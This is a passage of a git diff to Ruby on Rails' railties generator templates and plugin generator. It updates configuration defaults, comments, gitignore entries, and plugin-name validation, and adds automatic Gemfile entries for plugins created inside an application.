@@ -28,10 +27,6 @@ module <%= app_const_base %>
# Custom directories with classes and modules you want to be autoloadable.
# config.autoload_paths += %W(#{config.root}/extras)
- # Only load the plugins named here, in the order given (default is alphabetical).
- # :all can be used as a placeholder for all plugins not explicitly named.
- # config.plugins = [ :exception_notification, :ssl_requirement, :all ]
-
# Activate observers that should always be running.
# config.active_record.observers = :cacher, :garbage_collector, :forum_observer
@@ -49,11 +44,27 @@ module <%= app_const_base %>
# Configure sensitive parameters which will be filtered from the log file.
config.filter_parameters += [:password]
+ # Use SQL instead of Active Record's schema dumper when creating the database.
+ # This is necessary if your schema can't be completely dumped by the schema dumper,
+ # like if you have constraints or database-specific column types.
+ # config.active_record.schema_format = :sql
+
+ # Enforce whitelist mode for mass assignment.
+ # This will create an empty whitelist of attributes available for mass-assignment for all models
+ # in your app. As such, your models will need to explicitly whitelist or blacklist accessible
+ # parameters by using an attr_accessible or attr_protected declaration.
+ <%= comment_if :skip_active_record %>config.active_record.whitelist_attributes = true
+
+ # Specifies whether or not has_many or has_one association option :dependent => :restrict raises
+ # an exception. If set to true, then an ActiveRecord::DeleteRestrictionError exception would be
+ # raised. If set to false, then an error will be added on the model instead.
+ <%= comment_if :skip_active_record %>config.active_record.dependent_restrict_raises = false
<% unless options.skip_sprockets? -%>
- # Enable the asset pipeline
+
+ # Enable the asset pipeline.
config.assets.enabled = true
- # Version of your assets, change this if you want to expire all your assets
+ # Version of your assets, change this if you want to expire all your assets.
config.assets.version = '1.0'
<% end -%>
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/boot.rb b/railties/lib/rails/generators/rails/app/templates/config/boot.rb
index 4489e58688..3596736667 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/boot.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/boot.rb
@@ -1,5 +1,3 @@
-require 'rubygems'
-
# Set up gems listed in the Gemfile.
ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
index cce166c7c3..c3349912aa 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
@@ -1,5 +1,5 @@
# MySQL. Versions 4.1 and 5.0 are recommended.
-#
+#
# Install the MYSQL driver
# gem install mysql2
#
@@ -11,7 +11,6 @@
development:
adapter: mysql2
encoding: utf8
- reconnect: false
database: <%= app_name %>_development
pool: 5
username: root
@@ -28,7 +27,6 @@ development:
test:
adapter: mysql2
encoding: utf8
- reconnect: false
database: <%= app_name %>_test
pool: 5
username: root
@@ -42,7 +40,6 @@ test:
production:
adapter: mysql2
encoding: utf8
- reconnect: false
database: <%= app_name %>_production
pool: 5
username: root
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
index f08f86aac3..467a4e725f 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
@@ -24,6 +24,9 @@ development:
# domain socket that doesn't need configuration. Windows does not have
# domain sockets, so uncomment these lines.
#host: localhost
+
+ # The TCP port the server listens on. Defaults to 5432.
+ # If your server runs on a different port number, change accordingly.
#port: 5432
# Schema search path. The server defaults to $user,public
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
index 47078e3af9..24bcec854c 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
@@ -1,35 +1,41 @@
<%= app_const %>.configure do
- # Settings specified here will take precedence over those in config/application.rb
+ # Settings specified here will take precedence over those in config/application.rb.
# In the development environment your application's code is reloaded on
# every request. This slows down response time but is perfect for development
# since you don't have to restart the web server when you make code changes.
config.cache_classes = false
- # Log error messages when you accidentally call methods on nil.
- config.whiny_nils = true
-
- # Show full error reports and disable caching
+ # Show full error reports and disable caching.
config.consider_all_requests_local = true
config.action_controller.perform_caching = false
- # Don't care if the mailer can't send
+ # Don't care if the mailer can't send.
config.action_mailer.raise_delivery_errors = false
- # Print deprecation notices to the Rails logger
+ # Print deprecation notices to the Rails logger.
config.active_support.deprecation = :log
- # Only use best-standards-support built into browsers
+ # Only use best-standards-support built into browsers.
config.action_dispatch.best_standards_support = :builtin
<%- unless options.skip_active_record? -%>
- # Raise exception on mass assignment protection for ActiveRecord models
+ # Raise exception on mass assignment protection for Active Record models.
config.active_record.mass_assignment_sanitizer = :strict
+
+ # Log the query plan for queries taking more than this (works
+ # with SQLite, MySQL, and PostgreSQL).
+ config.active_record.auto_explain_threshold_in_seconds = 0.5
<%- end -%>
- # Do not compress assets
+ <%- unless options.skip_sprockets? -%>
+ # Do not compress assets.
config.assets.compress = false
- # Expands the lines which load the assets
+ # Expands the lines which load the assets.
config.assets.debug = true
+ <%- end -%>
+
+ # In development, use an in-memory queue for queueing
+ config.queue = Rails::Queueing::Queue
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
index 64e2c09467..072aa8355d 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
@@ -1,60 +1,83 @@
<%= app_const %>.configure do
- # Settings specified here will take precedence over those in config/application.rb
+ # Settings specified here will take precedence over those in config/application.rb.
- # Code is not reloaded between requests
+ # Code is not reloaded between requests.
config.cache_classes = true
- # Full error reports are disabled and caching is turned on
+ # Full error reports are disabled and caching is turned on.
config.consider_all_requests_local = false
config.action_controller.perform_caching = true
- # Disable Rails's static asset server (Apache or nginx will already do this)
+ # Disable Rails's static asset server (Apache or nginx will already do this).
config.serve_static_assets = false
- # Compress JavaScripts and CSS
+ <%- unless options.skip_sprockets? -%>
+ # Compress JavaScripts and CSS.
config.assets.compress = true
- # Don't fallback to assets pipeline if a precompiled asset is missed
+ # Don't fallback to assets pipeline if a precompiled asset is missed.
config.assets.compile = false
- # Generate digests for assets URLs
+ # Generate digests for assets URLs.
config.assets.digest = true
- # Defaults to Rails.root.join("public/assets")
+ # Defaults to nil and saved in location specified by config.assets.prefix
# config.assets.manifest = YOUR_PATH
+ <%- end -%>
- # Specifies the header that your server uses for sending files
+ # Specifies the header that your server uses for sending files.
# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
- # See everything in the log (default is :info)
- # config.log_level = :debug
+ # Set to :debug to see everything in the log.
+ config.log_level = :info
- # Use a different logger for distributed setups
- # config.logger = SyslogLogger.new
+ # Prepend all log lines with the following tags.
+ # config.log_tags = [ :subdomain, :uuid ]
- # Use a different cache store in production
+ # Use a different logger for distributed setups.
+ # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new)
+
+ # Use a different cache store in production.
# config.cache_store = :mem_cache_store
- # Enable serving of images, stylesheets, and JavaScripts from an asset server
+ # Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.action_controller.asset_host = "http://assets.example.com"
- # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
+ <%- unless options.skip_sprockets? -%>
+ # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added).
# config.assets.precompile += %w( search.js )
+ <%- end -%>
- # Disable delivery errors, bad email addresses will be ignored
+ # Disable delivery errors, bad email addresses will be ignored.
# config.action_mailer.raise_delivery_errors = false
- # Enable threaded mode
+ # Enable threaded mode.
# config.threadsafe!
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
- # the I18n.default_locale when a translation can not be found)
+ # the I18n.default_locale when a translation can not be found).
config.i18n.fallbacks = true
- # Send deprecation notices to registered listeners
+ # Send deprecation notices to registered listeners.
config.active_support.deprecation = :notify
+
+ <%- unless options.skip_active_record? -%>
+ # Log the query plan for queries taking more than this (works
+ # with SQLite, MySQL, and PostgreSQL).
+ # config.active_record.auto_explain_threshold_in_seconds = 0.5
+ <%- end -%>
+
+ # Disable automatic flushing of the log to improve performance.
+ # config.autoflush_log = false
+
+ # Use default logging formatter so that PID and timestamp are not suppressed
+ config.log_formatter = ::Logger::Formatter.new
+
+ # Default the production mode queue to an in-memory queue. You will probably
+ # want to replace this with an out-of-process queueing solution
+ config.queue = Rails::Queueing::Queue
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
index 80198cc21e..b27b88a3c6 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
@@ -1,5 +1,5 @@
<%= app_const %>.configure do
- # Settings specified here will take precedence over those in config/application.rb
+ # Settings specified here will take precedence over those in config/application.rb.
# The test environment is used exclusively to run your application's
# test suite. You never need to work with it otherwise. Remember that
@@ -7,38 +7,33 @@
# and recreated between test runs. Don't rely on the data there!
config.cache_classes = true
- # Configure static asset server for tests with Cache-Control for performance
+ # Configure static asset server for tests with Cache-Control for performance.
config.serve_static_assets = true
config.static_cache_control = "public, max-age=3600"
- # Log error messages when you accidentally call methods on nil
- config.whiny_nils = true
-
- # Show full error reports and disable caching
+ # Show full error reports and disable caching.
config.consider_all_requests_local = true
config.action_controller.perform_caching = false
- # Raise exceptions instead of rendering exception templates
+ # Raise exceptions instead of rendering exception templates.
config.action_dispatch.show_exceptions = false
- # Disable request forgery protection in test environment
- config.action_controller.allow_forgery_protection = false
+ # Disable request forgery protection in test environment.
+ config.action_controller.allow_forgery_protection = false
# Tell Action Mailer not to deliver emails to the real world.
# The :test delivery method accumulates sent emails in the
# ActionMailer::Base.deliveries array.
config.action_mailer.delivery_method = :test
- # Use SQL instead of Active Record's schema dumper when creating the test database.
- # This is necessary if your schema can't be completely dumped by the schema dumper,
- # like if you have constraints or database-specific column types
- # config.active_record.schema_format = :sql
-
<%- unless options.skip_active_record? -%>
- # Raise exception on mass assignment protection for ActiveRecord models
+ # Raise exception on mass assignment protection for Active Record models.
config.active_record.mass_assignment_sanitizer = :strict
<%- end -%>
- # Print deprecation notices to the stderr
+ # Print deprecation notices to the stderr.
config.active_support.deprecation = :stderr
+
+ # Use the testing queue
+ config.queue = Rails::Queueing::TestQueue
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt
index a3143f1346..e02397aaf9 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt
@@ -4,4 +4,6 @@
# If you change this key, all old signed cookies will become invalid!
# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
+# Make sure your secret_token is kept private
+# if you're sharing your code publicly.
<%= app_const %>.config.secret_token = '<%= app_secret %>'
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt
index ddfe4ba1e1..ade0c4f78c 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt
@@ -1,6 +1,6 @@
# Be sure to restart your server when you modify this file.
-<%= app_const %>.config.session_store :cookie_store, <%= key_value :key, "'_#{app_name}_session'" %>
+<%= app_const %>.config.session_store :cookie_store, key: <%= "'_#{app_name}_session'" %>
# Use the database for sessions instead of the cookie-based default,
# which shouldn't be used to store highly confidential information
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
index d640f578da..19cbf0e4f1 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
@@ -5,7 +5,7 @@
# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
ActiveSupport.on_load(:action_controller) do
- wrap_parameters <%= key_value :format, "[:json]" %>
+ wrap_parameters format: [:json] if respond_to?(:wrap_parameters)
end
<%- unless options.skip_active_record? -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/routes.rb b/railties/lib/rails/generators/rails/app/templates/config/routes.rb
index ea81748464..286e93c3cf 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/routes.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/routes.rb
@@ -3,11 +3,11 @@
# first created -> highest priority.
# Sample of regular route:
- # match 'products/:id' => 'catalog#view'
+ # get 'products/:id' => 'catalog#view'
# Keep in mind you can assign values other than :controller and :action
# Sample of named route:
- # match 'products/:id/purchase' => 'catalog#purchase', :as => :purchase
+ # get 'products/:id/purchase' => 'catalog#purchase', :as => :purchase
# This route can be invoked with purchase_url(:id => product.id)
# Sample resource route (maps HTTP verbs to controller actions automatically):
@@ -51,8 +51,4 @@
# root :to => 'welcome#index'
# See how all your routes lay out with "rake routes"
-
- # This is a legacy wild controller route that's not recommended for RESTful applications.
- # Note: This route will make all actions in every controller accessible via GET requests.
- # match ':controller(/:action(/:id))(.:format)'
-end
+end \ No newline at end of file
diff --git a/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt b/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt
index f75c5dd941..4edb1e857e 100644
--- a/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt
@@ -3,5 +3,5 @@
#
# Examples:
#
-# cities = City.create([{ <%= key_value :name, "'Chicago'" %> }, { <%= key_value :name, "'Copenhagen'" %> }])
-# Mayor.create(<%= key_value :name, "'Emanuel'" %>, <%= key_value :city, "cities.first" %>)
+# cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }])
+# Mayor.create(name: 'Emanuel', city: cities.first)
diff --git a/railties/lib/rails/generators/rails/app/templates/gitignore b/railties/lib/rails/generators/rails/app/templates/gitignore
index eb3489a986..8910bf5a06 100644
--- a/railties/lib/rails/generators/rails/app/templates/gitignore
+++ b/railties/lib/rails/generators/rails/app/templates/gitignore
@@ -9,6 +9,7 @@
# Ignore the default SQLite database.
/db/*.sqlite3
+/db/*.sqlite3-journal
# Ignore all logfiles and tempfiles.
/log/*.log
diff --git a/railties/lib/rails/generators/rails/app/templates/public/404.html b/railties/lib/rails/generators/rails/app/templates/public/404.html
index 9a48320a5f..276c8c1c6a 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/404.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/404.html
@@ -2,7 +2,7 @@
<html>
<head>
<title>The page you were looking for doesn't exist (404)</title>
- <style type="text/css">
+ <style>
body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
div.dialog {
width: 25em;
diff --git a/railties/lib/rails/generators/rails/app/templates/public/422.html b/railties/lib/rails/generators/rails/app/templates/public/422.html
index 83660ab187..3f1bfb3417 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/422.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/422.html
@@ -2,7 +2,7 @@
<html>
<head>
<title>The change you wanted was rejected (422)</title>
- <style type="text/css">
+ <style>
body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
div.dialog {
width: 25em;
diff --git a/railties/lib/rails/generators/rails/app/templates/public/500.html b/railties/lib/rails/generators/rails/app/templates/public/500.html
index f3648a0dbc..dfdb7d0b05 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/500.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/500.html
@@ -2,7 +2,7 @@
<html>
<head>
<title>We're sorry, but something went wrong (500)</title>
- <style type="text/css">
+ <style>
body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
div.dialog {
width: 25em;
diff --git a/railties/lib/rails/generators/rails/app/templates/public/humans.txt.tt b/railties/lib/rails/generators/rails/app/templates/public/humans.txt.tt
new file mode 100644
index 0000000000..f081e08b6c
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/public/humans.txt.tt
@@ -0,0 +1,7 @@
+# See more about this file at: http://humanstxt.org/
+# For format suggestions, see: http://humanstxt.org/Standard.html
+/* TEAM */
+
+/* APP */
+ Name: <%= app_const_base %>
+ Software: Ruby on Rails
diff --git a/railties/lib/rails/generators/rails/app/templates/public/index.html b/railties/lib/rails/generators/rails/app/templates/public/index.html
index 9d9811a5bf..dd09a96de9 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/index.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/index.html
@@ -2,7 +2,7 @@
<html>
<head>
<title>Ruby on Rails: Welcome aboard</title>
- <style type="text/css" media="screen">
+ <style media="screen">
body {
margin: 0;
margin-bottom: 25px;
@@ -59,7 +59,7 @@
#header {
- background-image: url("/assets/rails.png");
+ background-image: url("assets/rails.png");
background-repeat: no-repeat;
background-position: top left;
height: 64px;
@@ -171,7 +171,7 @@
font-style: italic;
}
</style>
- <script type="text/javascript">
+ <script>
function about() {
info = document.getElementById('about-content');
if (window.XMLHttpRequest)
diff --git a/railties/lib/rails/generators/rails/app/templates/public/robots.txt b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
index 085187fa58..1a3a5e4dd2 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/robots.txt
+++ b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
@@ -1,5 +1,5 @@
# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
#
# To ban all spiders from the entire site uncomment the next two lines:
-# User-Agent: *
+# User-agent: *
# Disallow: /
diff --git a/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb b/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb
index 3fea27b916..2a849b7f2b 100644
--- a/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb
+++ b/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb
@@ -3,7 +3,7 @@ require 'rails/performance_test_help'
class BrowsingTest < ActionDispatch::PerformanceTest
# Refer to the documentation for all available options
- # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory]
+ # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory],
# :output => 'tmp/performance', :formats => [:flat] }
def test_homepage
diff --git a/railties/lib/rails/generators/rails/controller/templates/controller.rb b/railties/lib/rails/generators/rails/controller/templates/controller.rb
index 8f5f78556f..52243f4a2f 100644
--- a/railties/lib/rails/generators/rails/controller/templates/controller.rb
+++ b/railties/lib/rails/generators/rails/controller/templates/controller.rb
@@ -3,7 +3,7 @@ class <%= class_name %>Controller < ApplicationController
<% actions.each do |action| -%>
def <%= action %>
end
-
+<%= "\n" unless action == actions.last -%>
<% end -%>
end
<% end -%>
diff --git a/railties/lib/rails/generators/rails/migration/migration_generator.rb b/railties/lib/rails/generators/rails/migration/migration_generator.rb
index 39fa5b63b1..f87dce1502 100644
--- a/railties/lib/rails/generators/rails/migration/migration_generator.rb
+++ b/railties/lib/rails/generators/rails/migration/migration_generator.rb
@@ -1,7 +1,7 @@
module Rails
module Generators
class MigrationGenerator < NamedBase #metagenerator
- argument :attributes, :type => :array, :default => [], :banner => "field:type field:type"
+ argument :attributes, :type => :array, :default => [], :banner => "field[:type][:index] field[:type][:index]"
hook_for :orm, :required => true
end
end
diff --git a/railties/lib/rails/generators/rails/model/model_generator.rb b/railties/lib/rails/generators/rails/model/model_generator.rb
index 629d5eed3f..9bb29b784e 100644
--- a/railties/lib/rails/generators/rails/model/model_generator.rb
+++ b/railties/lib/rails/generators/rails/model/model_generator.rb
@@ -1,7 +1,7 @@
module Rails
module Generators
class ModelGenerator < NamedBase #metagenerator
- argument :attributes, :type => :array, :default => [], :banner => "field:type field:type"
+ argument :attributes, :type => :array, :default => [], :banner => "field[:type][:index] field[:type][:index]"
hook_for :orm, :required => true
end
end
diff --git a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb
index 4baa2110e7..722e37e20b 100644
--- a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb
+++ b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb
@@ -39,7 +39,7 @@ module Rails
end
def gitignore
- copy_file "gitignore", ".gitignore"
+ template "gitignore", ".gitignore"
end
def lib
@@ -133,6 +133,16 @@ task :default => :test
end
chmod "script", 0755, :verbose => false
end
+
+ def gemfile_entry
+ return unless inside_application?
+
+ gemfile_in_app_path = File.join(rails_app_path, "Gemfile")
+ if File.exist? gemfile_in_app_path
+ entry = "gem '#{name}', :path => '#{relative_path}'"
+ append_file gemfile_in_app_path, entry
+ end
+ end
end
module Generators
@@ -153,6 +163,10 @@ task :default => :test
class_option :skip_gemspec, :type => :boolean, :default => false,
:desc => "Skip gemspec file"
+ class_option :skip_gemfile_entry, :type => :boolean, :default => false,
+ :desc => "If creating plugin in application's directory " +
+ "skip adding entry to Gemfile"
+
def initialize(*args)
raise Error, "Options should be given after the plugin name. For details run: rails plugin --help" if args[0].blank?
@@ -208,6 +222,10 @@ task :default => :test
create_dummy_app
end
+ def update_gemfile
+ build(:gemfile_entry) unless options[:skip_gemfile_entry]
+ end
+
def finish_template
build(:leftovers)
end
@@ -246,8 +264,20 @@ task :default => :test
"rails plugin new #{self.arguments.map(&:usage).join(' ')} [options]"
end
+ def original_name
+ @original_name ||= File.basename(destination_root)
+ end
+
def name
- @name ||= File.basename(destination_root)
+ @name ||= begin
+ # same as ActiveSupport::Inflector#underscore except not replacing '-'
+ underscored = original_name.dup
+ underscored.gsub!(/([A-Z]+)([A-Z][a-z])/,'\1_\2')
+ underscored.gsub!(/([a-z\d])([A-Z])/,'\1_\2')
+ underscored.downcase!
+
+ underscored
+ end
end
def camelized
@@ -255,12 +285,14 @@ task :default => :test
end
def valid_const?
- if camelized =~ /^\d/
- raise Error, "Invalid plugin name #{name}. Please give a name which does not start with numbers."
+ if original_name =~ /[^0-9a-zA-Z_]+/
+ raise Error, "Invalid plugin name #{original_name}. Please give a name which use only alphabetic or numeric or \"_\" characters."
+ elsif camelized =~ /^\d/
+ raise Error, "Invalid plugin name #{original_name}. Please give a name which does not start with numbers."
elsif RESERVED_NAMES.include?(name)
- raise Error, "Invalid plugin name #{name}. Please give a name which does not match one of the reserved rails words."
+ raise Error, "Invalid plugin name #{original_name}. Please give a name which does not match one of the reserved rails words."
elsif Object.const_defined?(camelized)
- raise Error, "Invalid plugin name #{name}, constant #{camelized} is already in use. Please choose another plugin name."
+ raise Error, "Invalid plugin name #{original_name}, constant #{camelized} is already in use. Please choose another plugin name."
end
end
@@ -270,7 +302,7 @@ task :default => :test
dummy_application_path = File.expand_path("#{dummy_path}/config/application.rb", destination_root)
unless options[:pretend] || !File.exists?(dummy_application_path)
contents = File.read(dummy_application_path)
- contents[(contents.index("module Dummy"))..-1]
+ contents[(contents.index(/module ([\w]+)\n(.*)class Application/m))..-1]
end
end
end
@@ -301,6 +333,19 @@ end
def mute(&block)
shell.mute(&block)
end
+
+ def rails_app_path
+ APP_PATH.sub("/config/application", "") if defined?(APP_PATH)
+ end
+
+ def inside_application?
+ rails_app_path && app_path =~ /^#{rails_app_path}/
+ end
+
+ def relative_path
+ return unless inside_application?
+ app_path.sub(/^#{rails_app_path}\//, '')
+ end
end
end
end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec b/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec
index 8588e88077..82ffeebb86 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec
@@ -13,7 +13,7 @@ Gem::Specification.new do |s|
s.summary = "TODO: Summary of <%= camelized %>."
s.description = "TODO: Description of <%= camelized %>."
- s.files = Dir["{app,config,db,lib}/**/*"] + ["MIT-LICENSE", "Rakefile", "README.rdoc"]
+ s.files = Dir["{app,config,db,lib}/**/*", "MIT-LICENSE", "Rakefile", "README.rdoc"]
<% unless options.skip_test_unit? -%>
s.test_files = Dir["test/**/*"]
<% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile
index f4efd3af74..9399c9cb77 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile
@@ -20,4 +20,4 @@ gem "jquery-rails"
<% end -%>
# To use debugger
-# <%= ruby_debugger_gemfile_entry %>
+# gem 'debugger'
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile b/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile
index 6ed6adcf1b..743036362e 100755..100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile
@@ -1,16 +1,10 @@
-#!/usr/bin/env rake
begin
require 'bundler/setup'
rescue LoadError
puts 'You must `gem install bundler` and `bundle install` to run rake tasks'
end
-begin
- require 'rdoc/task'
-rescue LoadError
- require 'rdoc/rdoc'
- require 'rake/rdoctask'
- RDoc::Task = Rake::RDocTask
-end
+
+require 'rdoc/task'
RDoc::Task.new(:rdoc) do |rdoc|
rdoc.rdoc_dir = 'rdoc'
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt b/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt
index 01550dec2f..bd983fb90f 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt
@@ -2,7 +2,7 @@
<html>
<head>
<title><%= camelized %></title>
- <%%= stylesheet_link_tag "<%= name %>/application" %>
+ <%%= stylesheet_link_tag "<%= name %>/application", :media => "all" %>
<%%= javascript_include_tag "<%= name %>/application" %>
<%%= csrf_meta_tags %>
</head>
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/gitignore b/railties/lib/rails/generators/rails/plugin_new/templates/gitignore
index 1463de6dfb..458b2c662e 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/gitignore
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/gitignore
@@ -1,6 +1,8 @@
.bundle/
log/*.log
pkg/
-test/dummy/db/*.sqlite3
-test/dummy/log/*.log
-test/dummy/tmp/ \ No newline at end of file
+<%= dummy_path %>/db/*.sqlite3
+<%= dummy_path %>/db/*.sqlite3-journal
+<%= dummy_path %>/log/*.log
+<%= dummy_path %>/tmp/
+<%= dummy_path %>/.sass-cache
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb b/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb
index 996ea79e67..2f9b7fc962 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb
@@ -7,8 +7,7 @@ require 'rails/all'
<%= comment_if :skip_active_record %>require "active_record/railtie"
require "action_controller/railtie"
require "action_mailer/railtie"
-require "active_resource/railtie"
-<%= comment_if :skip_sprockets %>require "sprockets/railtie"
+<%= comment_if :skip_sprockets %>require "sprockets/rails/railtie"
<%= comment_if :skip_test_unit %>require "rails/test_unit/railtie"
<% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb b/railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb
index eba0681370..c78bfb7f63 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb
@@ -1,4 +1,3 @@
-require 'rubygems'
gemfile = File.expand_path('../../../../Gemfile', __FILE__)
if File.exist?(gemfile)
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb
index dcd3b276e3..1e26a313cd 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb
@@ -8,3 +8,8 @@ Rails.backtrace_cleaner.remove_silencers!
# Load support files
Dir["#{File.dirname(__FILE__)}/support/**/*.rb"].each { |f| require f }
+
+# Load fixtures from the engine
+if ActiveSupport::TestCase.method_defined?(:fixture_path=)
+ ActiveSupport::TestCase.fixture_path = File.expand_path("../fixtures", __FILE__)
+end
diff --git a/railties/lib/rails/generators/rails/resource/resource_generator.rb b/railties/lib/rails/generators/rails/resource/resource_generator.rb
index c7345f3cfb..3a0586ee43 100644
--- a/railties/lib/rails/generators/rails/resource/resource_generator.rb
+++ b/railties/lib/rails/generators/rails/resource/resource_generator.rb
@@ -14,13 +14,7 @@ module Rails
class_option :actions, :type => :array, :banner => "ACTION ACTION", :default => [],
:desc => "Actions for the resource controller"
- def add_resource_route
- return if options[:actions].present?
- route_config = regular_class_path.collect{|namespace| "namespace :#{namespace} do " }.join(" ")
- route_config << "resources :#{file_name.pluralize}"
